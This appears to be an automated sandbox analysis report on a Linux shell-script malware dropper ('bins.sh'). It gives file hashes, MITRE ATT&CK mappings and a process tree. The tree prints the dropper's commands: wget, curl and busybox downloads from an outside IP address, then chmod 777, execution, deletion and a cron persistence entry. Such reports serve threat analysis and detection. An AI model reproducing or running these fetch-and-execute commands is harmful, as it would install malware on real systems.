09723b214a3fa63ddf017396e3b5a50c2ed1e15017c783844b128e8c332621d3

Analysis

max time kernel
150s
max time network
101s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25-11-2024 10:29

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General

Target

bins.sh
Size

10KB
MD5

9de3640d2c5d8a78acc69e96d0980c26
SHA1

00142594773d5ffa756329d68b48ebe96a2812a4
SHA256

09723b214a3fa63ddf017396e3b5a50c2ed1e15017c783844b128e8c332621d3
SHA512

ceda825c49a3065bc8dd5224fe8fd82f379cc1d35d8c7243595cbe0d4e488b05149a90905f1a38bf8eb7df82edd254fe1efaea45dd1c5023becdac109d95c903
SSDEEP

192:nY7Y/YQUYHzOQ9RKqq4B1qqjY7Y/YQUYH3:ROQDpz

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmod

pid process

671 chmod
712 chmod
736 chmod

pid	process
671	chmod
712	chmod
736	chmod

Executes dropped EXE 3 IoCs

Processes:

mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDSnQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrvagJILrg3xYDXVvnZi0gERHkfk2trbt7GAo

ioc	pid	process
/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	672	mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	714	nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
/tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo	737	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo

Renames itself 1 IoCs

Processes:

agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo

pid process

738 agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.dp6rNW crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
738	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.dp6rNW	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

agJILrg3xYDXVvnZi0gERHkfk2trbt7GAocrontabcurlcurl

description	ioc	process
File opened for reading	/proc/839/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/841/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/25/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/108/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/274/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/771/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/818/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/838/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/847/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/793/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/853/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/43/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/162/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/633/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/703/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/752/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/861/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/865/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/781/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/791/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/27/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/98/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/277/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/314/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/775/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/816/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/851/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/881/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/821/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/845/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/20/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/139/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/804/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/817/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/866/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/880/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/888/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/29/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/583/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/773/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/801/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/3/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/844/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/813/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/820/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/42/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/753/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/774/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/777/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/878/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/1/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/635/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/782/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/810/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/843/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/873/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/631/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
File opened for reading	/proc/636/cmdline	agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo

System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusyboxmmb1HnxTDsnacGbEfipkfO4tHOYCepTXDSrm

pid process

643 wget
664 curl
666 busybox
672 mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
675 rm

pid	process
643	wget
664	curl
666	busybox
672	mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
675	rm

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlcurlwgetcurlwgetbusyboxbusybox

description	ioc	process
File opened for modification	/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	busybox
File opened for modification	/tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo	wget
File opened for modification	/tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo	curl
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	curl
File opened for modification	/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	wget
File opened for modification	/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv	curl
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	wget
File opened for modification	/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS	busybox
File opened for modification	/tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:635
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:643
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:664
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:666
- /bin/chmod
  chmod 777 mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  ./mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:672
- /bin/rm
  rm mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
  2⤵
  - System Network Configuration Discovery
  PID:675
- /usr/bin/wget
  wget http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Writes file to tmp directory
  PID:677
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  ./nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  - Executes dropped EXE
  PID:714
- /bin/rm
  rm nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv
  2⤵
  PID:717
- /usr/bin/wget
  wget http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  - Writes file to tmp directory
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  ./agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:737
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:739
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:741
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:742
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:744
- /bin/rm
  rm agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo
  2⤵
  PID:754
- /usr/bin/wget
  wget http://216.126.231.240/bins/5li50R4Xs9y8jYTEDNpnPKKkBsmAaoBm9Y
  2⤵
  PID:757

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/agJILrg3xYDXVvnZi0gERHkfk2trbt7GAo

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/nQ7wIjl1jho5YvWIMFTy9QJ3l87IXgycrv

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.dp6rNW

Filesize
210B

MD5
b283fb2fe54a2a54e5d33ebeb2c04520

SHA1
2f2621be37b0d77e498ff6963272b3361683f6c0

SHA256
9d218f33ad4ef09367ab6178e8c3f3a574f618a6d32a54616989506dfe584dec

SHA512
2ac5b0281d31836c68b453a114e87641bf7d4cece9f3a3067ceddd7e859a065d6cadc2cfe184bde40d80f7dd8c3d28a1a41803ea17109a6d9dff5662ccc0e239

Download Submit